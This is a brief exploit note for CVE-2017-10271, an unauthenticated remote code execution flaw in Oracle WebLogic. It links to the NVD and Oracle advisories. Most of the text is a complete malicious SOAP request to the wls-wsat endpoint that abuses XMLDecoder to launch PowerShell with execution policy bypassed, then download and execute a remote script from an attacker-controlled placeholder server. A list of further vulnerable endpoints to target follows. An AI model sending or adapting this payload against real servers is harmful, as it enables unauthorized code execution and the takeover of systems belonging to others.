CVE-2017-10271 identification and exploitation. Unauthenticated Weblogic RCE.

https://nvd.nist.gov/vuln/detail/CVE-2017-10271

https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: SOMEHOSTHERE
Content-Length: 1226
content-type: text/xml
Accept-Encoding: gzip, deflate, compress
Accept: */*
User-Agent: python-requests/2.2.1 CPython/2.7.6 Linux/3.19.0-25-generic

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
	<soapenv:Header>
		<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
			<java version="1.8.0_151" class="java.beans.XMLDecoder"> 
			<void class="java.lang.ProcessBuilder"> 
				<array class="java.lang.String" length="3">
				<void index = "0">
					<string>cmd</string>
				</void>
				<void index = "1"> 
					<string>/c</string> 
				</void>
				<void index = "2">
					<string>powershell -exec bypass IEX (New-Object Net.WebClient).DownloadString(&apos;http://SOMESERVERHERE/GOTPAYLOAD.ps1&apos;)</string>
				</void>
			</array>
			<void method="start"/>
			</void>
			</java>
			</work:WorkContext> 
	</soapenv:Header> 
<soapenv:Body/>
</soapenv:Envelope>

wls-wsat endpoint list

CoordinatorPortType
RegistrationPortTypeRPC
ParticipantPortType
RegistrationRequesterPortType
CoordinatorPortType11
RegistrationPortTypeRPC11
ParticipantPortType11
RegistrationRequesterPortType11